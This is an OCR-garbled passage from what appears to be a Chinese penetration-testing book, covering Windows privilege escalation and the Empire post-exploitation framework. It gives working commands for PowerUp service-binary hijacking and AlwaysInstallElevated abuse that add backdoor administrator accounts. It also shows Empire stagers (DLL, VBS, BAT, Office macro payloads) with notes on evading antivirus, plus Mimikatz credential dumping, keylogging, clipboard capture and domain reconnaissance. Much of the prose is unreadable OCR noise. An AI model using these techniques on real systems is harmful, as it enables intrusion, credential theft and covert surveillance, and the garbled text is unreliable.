HEAEEERATHAT . LHIESIRER RGN, Javaft &2 7 # AN Oracle
Mk R BH B RIavaf2fF . MR avafE F 2 KM RAMRSIEF, EMEN LT Z
BITERGHIR L8 FrAn R — MR I A % T 1028 R 40 Ak 25 18 F 1 T 44T
XHEE R SRR, A ABR LUK B s R AT E T PAT S, WFEE R
4t IR SR %5315 R GRUR -

X B AT LM fIcacls (Windows W E ) —TE, HTREXNHRFNERXES
BAENBIAIR) 38 F PowerUp I A1 Wl & 5 IE#, SR “ C:\Program Files\
Executable.exe ” “ C:\Program Files\Common Files\microsoft shared\OmniServ.exe ”

“C:\Program Files\Common Files\A Subfolder\OmniServer.exe” iX =N 3, IR
BRAE, tnE6-44fw.

E6-44 HMABAIR (1)

FIR “C:\Program Files\Program Folder\A Subfolder\OmniServers.exe” (£, 40
El6-45 7N

E6-45 HMABEANRR (2)
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MEI6-457] LA i, “Everyone” XX CFA B ERZEHIR, MEWIA
F P # R B .. T El6-4sHISHUHT I, “M” AREH, “F”
RBAETH], “C1” ARME A A1 4 A& VT FEHIIT, “O1” AFRMIE S 4k & U
FAEHIIN. XEWRE “Bveryone” XWiZHFA L. 5, MBRETHRXH, MEBRETH
T B AR

FEIX B FRAT 18 F E16-43 1 AbuseFunction I B EL 4245 H B B AR R 7 0, AT BAF
T
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString

('c:/PowerUp.psl');Install-ServiceBinary -ServiceName ‘OmniServers'-UserName
shuteer -Password Password123!

#1313 &2 : Install-ServiceBinary#H ) T B¢ /2 i it Write-ServiceBinary 5 — AN T s
A P FICHAR S, WEl6-46FT7R o

11 -nog (!

E6-46 ARMAR

Z R HEE BT RSN, SFEMBNNKS . REFIIEIEZRSIFEK
JRBENZARS, AN, anE6-47H7R .

- omniservers

El6-47 1E1EERS

ME6-47THET ULE R, RaaiEh i, AR RN ZaT KSR 2 —AZ R ) User
PR, FrURESREEREBITZREEEE R RS. XERAREDNN, FFUE
BN CL T &t E S, Wk 6-48FTR.
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192.168.172.149 - Meterpreter session 1 closed. Reason: Died
E6-48 BHIER
DIFED) 2] HFsHLA T, BRI ERICERNER T, WiE6-49fr.

E6-49 RHGER

BFERELUE, 242 3608 — 51 P shuteer, 255 & Password123!, U1&6-50
FT7N o

i \onet user

N\WIN-57TJ4B561MT

ator

001 00E0OROUOZOVOBOIOE

El6-51 HFEERIIE
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ARG, 7T LLAE 2] B #-F1C:\Program Files\Program Folder\A Subfolder H %
T2 T =AM, WE6-52T7R.

PIIC:\Program Files\Program Folder\A Subfolder]

LATEE > HEv  FEEER
28 : BHEN =0 Ko

57 OmniServers.exe 2017/4/4 20:53 EEEF 22K8
|_] OmniServers.exe.bak 2017/4/4 20:36 BAK X#4 22KB

E6-52 #EA SubfolderBF
BRI A TR EFERANRRIRIZE, sJUEHAUTm4.

powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString
('c:/PowerUp.psl');Restore-ServiceBinary -ServiceName'OmniServers'

PAT A2 5 AT AR TA FRSR R BIRAIACIRE, W Fs.

e K& “C:\Program Files\Program Folder\A Subfolder\OmniServers.exe.bak” 4
“C:\Program Files\Program Folder\A Subfolder\OmniServers.exe”

o B & 4 =ik H S “ C:\Program Files\Program Folder\A Subfolder\

OmniServers. exe.bak” .
2. K2
fEM s, F 2| T Get-RegistryAlwayslnstallElevated. Write-UserAddMSIIX
A
MEHR .

235 7] LA F PowerUp ) Get-Registry AlwaysInstallElevated 15 £ SR A6 25 v i 38 1
REHKE, WRAlwaysinstallElevated 71 M R T i B, &K EMSIX 4 £ LL
SYSTEMAU[RIZATH) . #ATZBRIRHI AL W T, TrueRMCLERE, WE6-530TR.

powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString
('c:/PowerUp.psl'); Get-RegistryAlwaysInstallElevated

t.WebClient).DownloadString("’

ient).DownloadString( 'c: /P

E6-53 HMEIMEMIRKE
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BEWIMAE T, 1E4T Write-UserAddMSI R, 1217 5 &4 B34 UserAdd.msi,
U 6-54FT7

& BF iBps c: > Get—RegistryfluaysInstallElevated
|54 PowerUp.ps1 | BESET
}g] VsarAdd mst PS C:\> Urite-UserAddMSI

HBUserfdd.msi

E6-54 FHEMSINH
X L8 A P RURIZATIX AN UserAdd.msi, < BEHASINIK S, WnE6-550T7 .

lc :\testl>msiexec /g /i UserfAdd.msi
i\testidnet user
\\WIN-R?MMIBERBMD HYFR Pk

Administrator backdoor
test

E6-55 EFEAF

RIEBFEEEHEBANKS, 7TLERBA1CE RIE T BRI CMD T 70
T—NEHERAKS, WE6-56fT7R.
:.\festl)net localgroup administrators

administrat

B2 AT EN AT AR A BT 25

Administrator
thackdoor

E6-56 EFEMERIIR

ZIRIAFEAE R R 2 P 7 )8 7 Windows Installerfffl 236 ThaE, THFIHKE
fb R, aEe6-57HTR .
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0 RS 18E
» 2 Tablet PC

| [ Windows S2RFEES rearaRE

E6-57 FBEWindows InstallerfF il R i ThaE

BT TP A H 2H Sk i 3% (FEIZATHE i A gpedit.mse) AT LA F#E1E.

A. HIEIE— T EHLAL E — & H AR — Windows /4 — Windows Installer— 7K 7 B
R RS CRH

B. ZH5E0E — F /7 L & — & BEARAR — Windows 41/ — Windows Installer— 77t LA 5
FRUITREE: BEH

WETBEZE, IR MNEMEMLUTMESBsitIBEREN “17 HE.

¢ [HKEY_CURRENT_ USER\SOFTWARE\Policies\Microsoft\Windows\Installe

r] “AlwayslnstallElevated” =dword:00000001

® [HKEY_LOCAL MACHINE\SOFTWARE!\Policies\Microsoft\Windows\Instal
ler] “AlwayslnstallElevated” =dword:00000001

7% AU IR 75 A AT B, R EE5K M AlwayslInstallElevated B 7] [
1At A A FAMSICA BEAT 3R AL o

6.3 Empire

6.3.1 Empire &/

Empire/2 — K Xt Windows™F & /). F PowerShell il A< 1 NI o 477 1538 1
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HHER TR, HEA MstagerEfl. RAFNSELRFN—RFITEE. EmpireSLI T EH
powershell.exest Pl iz 17 PowerShel INER 1) T &E, & AT AP AE 5 13552 I TR R FH AL,
HBHERA RIS, Mimikatz, S83UAC. WS, I HAED SR8 %16
MFRE 2 TREMER, & RKEAE S LT Metasploit, &—NET
PowerShell FZFEIEHIAR L .

Empire[) 4= IR v] LS E LB Mk http:/www.powershellempire.com/.
6.3.2 Empire 4%

Empireiz {7 fELinux"F & L, XBEMHHK RS ZDebian, B 56fFHgitdr 4 T HE
FFEX, WE6-58F7R.

git clone https://github.com/EmpireProject/Empire.git

root@163- #»164-223:~2 git clone https://github.com/EmpireProject/Empire.git
Cloning into 'Empire’...

remote: Counting objects: 8671, done.

remote: Compressing objects: 100% (11/11), done.

remote: Total 8671 (delta 1), reused 3 (delta 0), pack-reused 8660
Receiving objects: 100% (8671/8671), 18.96 MiB | 2.09 MiB/s, done.
Resolving deltas: 100% (5786/5786). done.

164-223:~2 1s

E6-58 TEHEmpire
BE R Nsetup H K, {FH LA T 4 % %EEmpire, 1E6-59T7R,

cd Empire
cd setup
sudo ./install.sh

[E6-59 ZIEmpire

LIELER G, 7EEmpire H 3 T /empireB]) A T FF Empire, X B FIARARZ2.3,
ALAEBH280MES:, 0NN, OMUEE, WnEl6-60f7s.
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El6-60 #THEmMpire
6.3.3 ®RELIT

JZ1TEmpire/d, i Ahelpfr & EH HAARMERFED, WE6-615TR.

[El6-61 ZEF#EN
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1R 2 NAESE — I8 F Empire i % % AN 0108 WA R F,  HSZEmpirefMetasploitff]
R, HELEE R, BELER—IMKRY, REEERENF
BATIZARS, FRATH Mt 2 %8 b 3 (B R AR EE

KB ERERSL—NENT, FiMetasploitf 2 MW #17 —NEHE, % A Listeners
AT R T2 E, T LA Ahelpfr S B FEHBICH, WK 6-62FT7R.

&6-62 #EFEListeners#E

FAE i A uselistener>R 15 B SR FH AT AR RN, 8T XUk Tab% AT LA B — LA 7R
3, dbx. http. http_com. http_foreign. http_hop- http_mapiFIF /| 1#4& fimeterpreter,
a1 E6-63 7R

E6-63 ZEZFHuselistenertEz,

XERAhttp R, % Auselistener http, 4RJ5# Ainfofn 28 & BAASHOH
B, WKEe6-64fTR.
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(Empire: listeners) > uselistener http
(Empire: listeners/http) > info

Name: HTTP(S]
Category: client_server

Authors:
@ham)0y

Description:
Starts a httpls] listener (PowerShell or Python) that uses a
GET/POST approach.
HTTP[S] Options:
Name
SlackToken
with your Slack instance.

El6-64 {ERAhttpt&E
X B A] DL F setin &1 BAHN S8, 75 248 H LU T 674 % B Name. HostflPort.

Set Name shuteer
Set Host XXX.XXX.XXX.XXX:XXXX(Empir FT7EfR4%5% IP)

1X B HostBRA 2 IRATVPNIIIP, B ABIAMUEER T , 1B GE G AT LA RS\
info, BEWE D IEM, ARG Aexecutern 2 BRI 4650, W& 6-65F 7.

[El6-65 FFEANART

& Nbackfnr 2 B R] iR [F]_F— Elisteners 711, %y A listiyr 2 0] UAFI H 24 B 805 11
listener, H1E6-66FT7R .

El6-66 I HATHYLERT



AP R b FH 3 A 3 2 2 A

206 P Web&A Ay HiEniXEEIES

1§ FHkilldr 2 5 BE M B iZ W W, tn B 6-67 7

E6-67 kIS
XEERE— A, YIRS, LAEE AR, 3 ERR
MO, WEARE B O DAY R, MAERENSEREEE.
6.3.4 HHALE

WEEKY, BEMEARKDSREEBRILE LEIT. AT X A B AL
Metasploit%ﬁB’JPayload\ Empire B A 2 MEH stager, #2555l Ausestager K 1%
BRI A, FIRE, i W Tabs, W LAE B —3A26 MR, WE6-68T7 .

El6-68 FIHADIRR

Hohmulti i IR, osxfEMacEE(E R EL, )T (18 /& Windows I BLER,
T BRAIPRE L A LR 2B PR S SR BAR U

DLL RS

MEWEDLLAL, B4:H Ausestager windows/dIIffI T4, SR Ninfofiy & 7x
EVEMSE, WE6-69FTR.
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werPick Reflective DLL to_inject wit

El6-69 TEHEIEMEH
X B IRAT¥ B — Flistener, #AJ5#iTexecutefn 4, #MeTEtmp HEX FAEKA N
launcher.dllfI AR D, 1E6-70077~. launcher.dlIfE B b5 LML HigiT)aE, #hiealish B4k,

(Empire: stager/windows/dll) > set Listener shuteer
(Empire: stager/windows/dll) > execute

[*] Stager output written out to: /tmp/launcher.dll

(Empire: stager/windows/dll) >

E6-70 ARDLLARS

2. launcher

S R 5 Y PowerShellf RS, 7R B EAHNARE, 7 ULEBEIERITA3K
B8 Nlauncher <language><listenerName>, FH{R R4z Bl —1Tbase644ufidAH5, X 5
% Nbackfi 4 [E] Fllistener I, 44 5%l Alauncher powershellshuteer (24 7i 1 & [#listener
ZF) KA K — 1 Payload, WE6-71F17R.
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E6-71 *“RiPowerShell{tid

SR 5 1 345 PowerShell 1 H AR EFAT 4 B IX Br dr 4, BEE B BIXAS EHLAHIAL
PR, X BLd FH A R DAL 2 Windows 2008 R2()644 Enterprisefit, 2354 3604 B 444
+360% 4= . +-+Sophos, K 1% Bty 4 & il 2 fE AL WebShell T 4T, n&6-72f
Ro

E6-72 #iTPowerShell{th3

A A% F|Empire 2.4 L2 7 —/"\Name JLOFPTXV6 ML, T H A AR
5 I TR, i Aagentsit iT AE 3 B2k HAR EHLRBAAAZ, X B iagents
HAH 24T Metasploitf] £ ifisessions, #1E6-73 7.
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E6-73 EFLZHIEAMN

I B A B Name 2 B — N BE L 0 42 57, ] {8 A rename <oldAgent Name>
<newAgentName>fi & KAE 2, X B Arename LOFPTXV6 USA, & 6-74F7.

E6-74 BEEHBFR
3. launcher_vbs K5

ZEAE Y Blauncher vbsA L, B 5GE 4 Ausestager windows/launcher_vbs, A%
Ninfofir & REFHMSE, WE6-75Hm.

i

E6-75 EFFHASH

i DL T iy 41 B Listener I S 40F1217,  BRIASTEtmp 343 4 Filauncher.vbs,
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AP R b FH 3 A 3 2 2 A

P WebiAHEr. HEMNXERIED

& 6-76 s .

Set listener shuteer
Execute

ner shuteer

E6-76 “£MVBSAKL

B 5 i Nbackfi 4 [l F|Listener T FF 4R MEUT, K 2E BAIX M auncher. vbsTE E #rAL
EFTHF, BB R EVLAIAR, X B4 EULZ Windows 10864 A7 AT,
GHEAH R4 H i I Defender, 1Z1T )5, launcher vbsAR L Ih E2k, nE6-77F7R.
Defender?®& A i MAETIRR -

E6-77 RIEmMIN

U 5 B A i PowerShell{UHY, 1% B 5¢ Listener 5 /A~ il Aexecute, EL#2fii Aback,
SR J5i i Nlauncher powershell shuteerBJ 7], 1&]6-78 7.

E6-78 #iTPowerShell {3

4. launcher_bat K5

AR Y B launcher batR Dy, 1 25 Ausestager windows/launcher_bati @74,
RIEH Ninfofnr & BHHMSE, WE6-79FR.
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launcher_bat
info

E6-79 EFRIFMESH

{8 F LA #2152 B Listener [ S H 4 A executefis 21217, BRIASTEtmp XX T
4 plilauncher.bat, 1E6-80FT7~ .

Set listener shuteer
Execute

(Empire: stager

E6-80 %£RMBATAL

4 Nback 4 [0 #listeners N UG ST, 2R 5K 4 AL iX 4 auncher. bat#E H FrAL
FATH, BB EXAD VAR, TUER|, EREMNIZEITE, BATARL B4 I
T, wEe6-81FR.

E6-81 KIEmMIN

AT IR, ] OB Z HEAL B S4B N — A office U, IX BB AR A
WordBi# Excel 3, #idy “HIN” #5488, W®HF “XMR”, REEFE “HfHI”,
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B W ], FREEENIA AR A S, AREAE BB, &G
B “EER HERES A ER BRI B, WE6-82FR.

ST T = = = = B X = GLowaeE Y
UaE geeE BE XN MNE MW A8 mmmyn o &

=2 i S 2 &
_ime ? xF&m

e (HEHeseE

REEW:

| s —

f%ﬁ)’{ “é‘@ USRI AT ) Ej:m

E6-82 HHAHKR
f£ “HEERR” FEE, WATTLLEFE—NER, X ERUEAMEKKIExcel.

WordEPowerPoint E#x, iX B{# H 7 Word i) BIAR, F H. 58 S50 2 Fr i 7R
RS Ndoc. Bl “HiE” )G, X RS A Word XX, WE6-83fT 7R -

R S ET TR R Sk W R T T T %

= L BRI

A -
2002 FERHEEE, 1 Metasploit T [ iEEH RN
| tEE), E (BE X BR). (BEFM). Freebuf. ¥4
ERENFEERFTZRHEATE. Q- 8946723, -

S

[ T T

E6-83 fEAWordxft

5% fElisteners N YT, SR EHZWord X K4 B s, — EiZWordfE B #rAl L4
90, BT T WIREIHLAAE S, SSBRX AN EHLRIBR, X B A ) R L
fEWindows 10MI640IEALR, %3H R4 H i Defender, Word XX fFiz1T/5, BAT
KT 4R, Defender® B EMIRR, 360%E LW ERINEREE, WE6-84
Fim e

El6-84 REMIN



xE

%6% PowerShelld&£#& <« 303

5. Macro K5

BB EMacrok T, ¥4 4 Ausestager windows/macrofy 4, #AEH Ainfo
HOERRMEN, WHCSSHIE.

Ou False

E6-85 EFIFMESH
X BLA$ A DL T iy 4 15 B Listener 1 2 £ H- 4 A executefr 2 H 1217, W& 6-86FT

o

Set listener shuteer
Execute

El6-86 “mgMacro/RD
BRNSHER—A%, EF7E tmp/macro XA, InEI6-87F 7R

T< > 1« @ [tmp »

@ Recent

@ Home

& Desktop ihe A2

Sub Document_Open()
ing

El6-87 &EFtmpHZ
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SR T BN A AU 2 N I B —Office SCRY BLTHT, 3X BT T — > Word S, H.il
LB WREE, B R, CRNAER” REEAEUE, EAW UERER A,
WE B “QIg” %4, wEe6-88FTR.

L L. = I

} Aaw E 3 e B0

BN 100% wres sEwn K | O RSAE .
e M EIMOEE

E6-88 fBIEE

B “flE” S B VB S, K ECRIACRIMIBR, AR R & B
#3F, BEHR “Word 97-2003 344 (*.doc)” i, 1 6-89F1E6-90F 7

:Ha'um'mmmmmmmmw L )]
LBB 9 > u s NEE N Q 5.3

i

Normal

Froject (7.2.PowersSl |

[ Wi croseft Yord P = Sucb AuteOpen()

) ThisDocuant . - "3‘“’“

o3 31 : s

Project (PAAR-B: Sub gmq!_ﬁ;m()

15 Wi erosoft Yerd AR P ebugging

) Thi sdecoment B S S SRS N SO S e
|y Wie Nﬂse l;nehu: Debugging() Ax Variaat
Fellscr tr As Stri

b o Str = Tpovershall exe Wob ~sta Honl 4 ¥idlen -Zoc

31 . Str = Str + mwmmwmwmmuuma:mum‘
Str = Str + “BASQEOAPQATQEEAZAAQQBNAGUAC cBADoAD cBF LA~
Str o= Str + "VAARADARMABDAGOAT cEUMGH J’ AZUATAAFACAREAATACGAYY ~
Str = Str + “BjADOAT eBFAFeALGBEAGT A, Ammwlmnmum,
Str = Ser » waﬂ;mawv TACQARAIAL
Str = Str + ~cATUBvANoAGB TAGHRTAYALUAL GheACAEALINGH A gBkAGEA
Str = Str * "deBzACAAT, T gBUACA TACARVA

E6-89 EFIENKMH

RN | DANES-E3%.docx
GEEED: |Word X (doc)

nwm A IS 1% desen)

E6-90 HEANHE
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B JE R X MEIE B Word#5 B HFsHLEHAT, 0PRSS A — 1M 2e%sE, X
BFHEMH it TR, 35 AAradH WA #5H, 6915,

E6-91 Wordiimke%EH

XEBESG “EHAR” %, TUEIER AT TE, BEIEEF EL
To BEFREUT, 360%EPEaRE RALERE, WE6-9257w.
(Empire: listeners) > [+] Initial agent 7R926ZHC from 218.206.129.145 now active (Slack)
(Empire: listeners) > agents
[*] Active agents:
Name Lang Internal IP Machine Name Username Process

Last Seen

7R926ZHC j 192.168.1.179  DESKTOP-2DTMGOM DESKTOP-2DTMGOM\shutpowershell/9736
2017-11-23 15:42:29

E6-92 RMMRIN
TR MR Z L, AT LU A kilE 3 remove T A, WIE6-93F 77 -

(Empire: listeners) > agents

[*] Active agents:
Name Lang Internal IP Machine Name Username Process

Last Seen

9Y6GS318 ps 192.168.1.179  DESKTOP-2DTMGOM DESKTOP-2DTMGOM\shutpowershell/S80
2017-11-23 16:13:43

: agents) >

E6-93 MIFREFREMN
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6. Ducky

Empire 1 3 #F Ducky #& Ht, 9 5 2 FATH Y 89 “ /N30 7, % A\ usestager
windows/ducky 4, /G Ninfofr 2B E A SH, WK 6-94FT7R,

El6-94 EFIFHESH
X B R B ListenerZ 40, AT LAE B T AR, nEl6-95FT 7.

E6-95 4K

Bz REDREE /N7 o, FEAEARAE S RTEENL, ST UG ER . Bk
BAERAET IS %X B & — (FIAUSB RUBBER DUCKY (USB #5H5) & H
FrAL2% b A B EmpireBiMeterpreter> i) Chttp://www.freebuf.com/geek/141839.html)

6.3.6 EEFYIREXREMA

AR ENUR BRI LG, 7T LM Fagentsfir 2 1 HH 24 1T OB BN, KB ENE
BHA () MRCRERIIEN, WE6-96FTR.
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Internal IP HMachine Name Username Process Delay Last Seen

M2MFTUAQVAT3DNUD  192.168.31.158 WIN7-X86 *WIN7-XB6\shuteer | powershell/296 5/6.9 2017-85-66 84 04
S3XTNDLNEVYFGPH3 = 192.168.31.134 WIN7-64 WIN7-64\test powershell/536 5/8.6 2017-85-66 04:55:61

E16-96 FIHEEEAEN

S5 1 Finteractfiy & 3EHE ML, T LMEAI TabsE A2 EHLN TR, BRI S
Ahelp#is & BIRT 7 Bl (%, anEl6-97 s

[El6-97 ZEFHE

LA B EHLR DI REAE 258K, FEACHT LA Metasploitffi 25, B AR K1) 232
Windows LinuxFlMetasploitf¥]#873# F 64, 8 F ok EFHE 2400, &l 6-98 T .
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E|6-98 {FHLinuxi4$

%1 Nhelp agentemds 7] LA 27 (4 A0 H H a4, InE6-99F 7.

E6-99 EEERIIFE
7648 FH 3 4y CMD A A 5, ZEEH “shell+fn 4" BN, WE6-100F 7.

NTIVIRUSSERVER

El6-100 fFEFACMD&%
SRIGFARR N B I MimikatzBEEE, % Amimikatzir 4, @0E6-101 7R .
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Ei

{Ewbmro: ) >
Job started: Debug32 rdtr0

Hostname: win7-x86 / S-1-5-21-3706207507-3506404812-2082115619
i 2.1 (x86) built on Dec 11 2016 5

Benjamin DELPY "gentilkiwi' ( benjami
http://blog.gentitkiwi.com/mimikatz
with 20 modules *

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 164866 (00000000:007f6a802)
Session v Interactive from 2
User Name g
Domain
Logon Server 2 -X86
Logon Time $ /5/6 16:51:23
: 5-21-3706207507-3506404812-20821

E6-101 #lEHash

[FMetasploit—Ff, i Acredsfr4 Al LA EZNE U8, B3 HSREU P 265, il
6-102f7~

El6-102 ENEBIENE 25D
XBEANNEETG, i AcredsE Wi Tab%E, 7 LLE B —LETT, WE6-103877R.

) > creds

export hash Krbtgt plaintext remove

&6-103 #EFHcredsitIn

7E P P HTCER ) 235 1 b A 22 L BT e EfU\i@ﬁu‘ﬁ/*\Xﬁhash/plaintextiﬁﬁﬂl?ﬂ‘
BN, MR, SHSEERE, XEEEIEFEESE, B “creds export HF/xx.csv”
4, WEe6-104F77s .
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) > creds export /root/pass.csv

pass.csv.csv

dID Cred pe Domain,Username,Password,Host,0S,SID,Notes

"hash","shuteer.testlab"”, 'Admmlstrator ,"2e94bf812e13f9a4d347fcb6bbc21a635
5-1-5~21-1181265161-33124039@3-1236128916","2017-11-24 00:30:21"

,"hash”, “shuteer.testlab", "WIN7-64$","15765418b843bf187c72964de37cdbef"”, "wi
[El6-104 JiHiHash

FESEPRBE RS, HTHMAERE, BEB S ENEREE LY, 77 LI Alist
stalefy 2 ¥ H EE E KM R EN, SRIGH Aremove stalefiy 212 B4 234 =41,
W 6-105 7 o

Machine Name Username Process

XB7TRM3H ps 192.168.1.100 WIN7-64 *WIN7-64\shuteer powershell/3800
PWE16YC4 ps 192.168.1.158 WIN7-X86 *SHUTEER\SYSTEM powershell/5320

s) > remove stale

Lang Internal IP Machine Name Username Process

P62N7L34 ps 192,.168.1.100 WIN7-64 WIN7-64\shuteer powershell/528

Empire: agents) > list stale

(Empire: agents) > |}

[E6-105 HUBRAIHIEM

A — L HAh ()% 474, WBypass UACIRAL A4 SCHE 4. Download T
M Upload BA& X%, RIAIXEELLERI B AER T, BILESRIEDER
% 2 Z a4 .

6.3.6 EEWE

Empire X EH T /58%E . FrolE BB LECE I —AMEEE, v LAf# Fsearch
modulefiy & 182 75 BAE I O, X BLiE I # Ausemodule collection?R & 1% Tabf 25
EENYIER, WE6-106FT7~.
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E6-106 TEEmMpiret&Zpseaes%R
T E S LA AR R
1. BEEBE
LT fn AR B E 2R A4, WE6-107 7R .

usemodule collection/screenshot
info

(Empire: ) > usemodule collection/screenshot
Llection/scree ot) > info

(Empire: powershell/coll

Name: Get-Screenshot
Module: powershell/collection/screenshot

NeedsAdmin: False
OpsecSafe: True
Language: powershell
MinLanguageVersion: 2
Background: False
OutputExtension: png

E6-107 {EREREEER
ATREMZREE, B Aexecute (I T &E HFr VLI FREE, & 6-108

FE6-109F7R -

(Empire: arshell/collectio reenshot) > execute

(Empire: powershell/collection/screenshot) > back

(Empire: ) >

Qutput saved to ./downloads/64/screenshot/WIN7-64 2017-11-24 01-22-41.png

El6-108 BITHEHR
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WIN7-64_2018-01-26_08-48-14.png 00

Properties X

= 1920 = 1080 pixels
PNG image

Dark

@ m308067com

121.3 kB
ISLVEN Senvice [} RIS lolacice: [ Conctemmizt () MREES % BEFRBE [) vishen el Vo [ BRES ) V2 Conference RE [ Apache Tomaa7. Y = 13k8

MS@8067 Dark

E6-109 EEIMENEMFHEE

2. BRIER
AL N2 R B E ZE R BEASE, mE6-110f7R.

usemodule collection/keylogger
info

(Empire: ) > usemodule collection/keylogger
(Empire: 1 i iger) > run
(Empire: > L1 : eylogger) > info

Name: Get-KeyStrokes
Module: powershell/collection/keylogger

NeedsAdmin: False
OpsecSafe: True
Language: powershell
MinLanguageVersion: 2
Background: True
OQutputExtension: None

E6-110 FREHEIER

REFBGARE ST LA T, ¥ Aexecute/H 3 G i 4R1E % H Ax EHLRBEA A1
ST, MEF4s E 3 7E empire/downloads/<AgentName> 4 il —Magent.log 3L, 4]
6-111F175
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%

(Empire: & : ollecti ‘logger) > execute
>

(Empire: =11 Llection/keylog ) back

[( > “4 Empire  downloads 64 screenshot  » |

© Recent = i

@ Home . agentlog  screenshot

El6-111 “pRagent.log3cf
BAETE H bR EHLREAE S IEEA H O LLE —3ME, wEe6-1127.

THE BHE BRO) ZHV) oK)

%%m%ﬁ
SRR TEE, 1 EEETA ST, BuHs
SEETEARS KB R =
Bhmas
2018.1.25

E6-112 HWAXF

¥T FFagent.logBl 7] & 2| H AR EHL AN BN CA S EREmICRK TRT,
BARDREICFHP I, HEAKMEBLZREE HRM, . MREdIERT Tk,
I 6-113 7~

| Open - IE‘ .:g:j“:;‘f ] Save lj e e 0
pels 1-25 20:30:20 :

[Backspace]
[Ctrl] [SpaceBar]

SpaceBar]

O QrmHFOOQ 3 O

E6-113 ZEBREHNMBRMNILR
IR ER LA TRA LK, WSS AT RAEEIRE TR G, A jobsRI AT B 24

RITEJG B ISRk . R EF Eds%, AT LUEHjobs kill JOB_namedr 4, iX B A\jobs
kill N7XE38RI A {5 LB A0 5%, anl6-114J17m
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> jobs kill N7XE38

)
) > jobs
)

>
3 killed.

E6-114 {EILREIEFH
3. H5IRIER

XM YR P AU 7E B A5 EALWindowsBI AR _E AT A 25 . ATLLiR B
RS R PR PR i AR BRI 8], — BB LT, GREFFBRABEE BRI BA, X B LA
T A EREEASE, WwE6-115F7R.

usemodule collection/clipboard_monitor
info

(Empire: ) > usemodule collection/clipboard monitor
(Empire: 1 1 i 3 ) > info

Name: Get-ClipboardContents
Module: powershell/collection/clipboard monitor
NeedsAdmin: False

OpsecSafe: True
: powershell
2

: True
OutputExtension: None

El6-115 {ERA&EHR

HRAEBRENFEEES —A1E, TURRRECLERERT, EELLE
R, WE6-116FT7m.
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FIREHE, AT RBTTUE TE S, Miljobsa B/n HHITEE G HIET, W
BE(E |, [FRET B4 N\ jobs kill JOB_name, 1E6-117F77~.

(Empire: ) > jobs
(Empire: ) >
Running Jobs:
TK6PB7

(Empire: ) > jobs kill TK6PB7

{Empire: ) >
Job TK6PB7 killed.

(Empire: ) > jobs

(Empire: ) >
Running Jobs:

El6-117 {FIEBMSIRIER

4. BERHE

# \usemodule situational awareness/network/powerview/share_finderfiy 2K 51| t}
B T 3t =2, AT L% B CheckShareAccessiE UK Hk [A1 AT A 24 i A A B F S0
LR, X ERFFEARERNR, WE6-118fT7R.

) > usemodula situational aHaxeness/network/poweiv1eu/share finder
hel ) d ler) > execute
ler) > back

64.shuteer.testlab\ADMINS
.shuteer.testlab\C
.shuteer.testlab\C$
-64.shuteer.testlab\IPC$
-64.shuteer.testlab\Users
WIN7-X86.shuteer.testlab\ADMINS
-X86.shuteer.testlab\C$
-%X86.shuteer.testlab\IPC$

-ShareFinder completed!

E6-118 EHRHE

5. WEBHRENIER

% Ausemodule situational awareness/host/winenumfiy 4RI o] & & AHLH 7+ 354
MR, RENZELEERE. BIERAS. RAEAFEE. MEEEH/EE. L=
FR%, WE6-119F7~.
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(Empire:
(Empire:
Job started: KSoEBT

) > execute
YRy

UserName: Administrator

Domain Users

Administrators

Schema Admins

Enterprise Admins

Domain Admins

Group Policy Creator Owners

E6-119 EFFHHMER

7 AME A situational _awareness/host/computerdetailstiil, & JLFFN%E T KRG
FIEEREE, WHIFENFEHEE. NARFEFFEEHE, SFERDPERELR.
PowerShell {4247 MR H(E B 5. FEIBITIXMERAT T EEEAR, bl
=T

6. ARP 131

Empireth N B T ARPH B, % Ausemodule situational awareness/network/
arpscanfir 4 Bl AT A6 M, X BB BRange B4, MDA T A4 15 B B 10 M
B, nE6-120f778 .

set Range 192.168.31.0-192.168.31.254
execute

: Debug32 ulﬁmc

Address

E6-120 #EESH
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[EFEH, Empiretd P9 B T 5 F i Hsituational _awareness/network/portscan, iX
HHAERT
7. DNS ER3IKEX

TEN I, %038 BT A 128 Y HostName A1 X B2 (TP ik X5t 434 A X 465 4 28 o0 B 22,
i A\usemodule situational awareness/network/reverse_ dns#r4 B Al F iz AR s, X H
% B RangeZ B, M ABERPIIPWEIFE1T, E6-121F7R.

E6-121 Jiﬁ' R
IR ZFEHFRNEFHAMF, Empireth e Brntisk, TTERATFHIDA EN.

H Sz ik Ay LA B 5B — S A B situational awareness/host/dnsserver $& 718 24 R P9 ¥
DNSHRZ %5 (TPHdE, a1El6-122f7R .

1odule 51tuat10na1 awareness/host/(mssexver
- ¢ o i r) > execute
jer) > back

E6-122 RRHATHMDNSARSSERAIIPHEIE

8. EHEHEERIRSZES IP

FENBES, ERERNMPRESHSABERR, TR 2R IEE
ERIHLE, REBABERE, STRURERR, WNETEN, XMERE
FIREHIBE ER M0

fiff F usemodule situational awareness/network/powerview/user hunteriX /™ {5 ¢ A]
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DIERMERMMA P ZRXTWE TN, XEERBEEYLEFINRL N
WIN7-64.shuteer.testlab, IPHBHEA192.168.31.251(1iX G M2, WE6-123F777 .

(Empire: situational ess/n pow S/ S > execute
(Empire: tuational sne ? /¥ e/ USE ar) >
Job started: Debug32 ni

UserDomain : SHUTEER

UserName : Administrator
ComputerName : WIN7-64.shuteer.testlab
IPAddress : 192.168.31.251
SessionFrom :

LocalAdmin

Invoke-UserHunter completed!

E6-123 BREEZZERIMIE

9. AMEERAILEMER

fi H] usemodule situational awareness/network/powerview/find_localadmin_access
BB, AREMEBRNORE, BHEH Aexecute B T, 45 RINE6-124F77.

(Empire: ) > usemodule sxtu1t10n51 awalcne>s/netJolk/pOJErvxe‘/flnd localadmin access
(Emg itional_a g powarvi 1 i 5s) > execute

(Empire: tuat eness/network/powervi find 1 rx‘f i‘ access) >

Job started: Debug;7 v71qy

WIN7-64.shuteer.testlab
WIN7-X86.shuteer.testlab

Find-LocalAdminAccess completed!

El6-124 HEEAMEBENEER

T LERIE W E1HENL, 259 5 NWINT-64.shuteer.testlabFIWIN7-X86.shuteer.
testlab,

10. FREUZZHIZE

HIAE AT L Fusemodule situational |_awareness/network/powerview/get domain_controller

BEHOR I E JRT s Hlas, BONEEHE TR, B AexecuteBI A, 40
El6-125F77m
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» usemodule situational awareness/network/powerview/get domain controller

) > execute

El6-125 $EEUSEHI8E
ME6-1257 7] LLA B 24 TR 55 28 42 NDC.
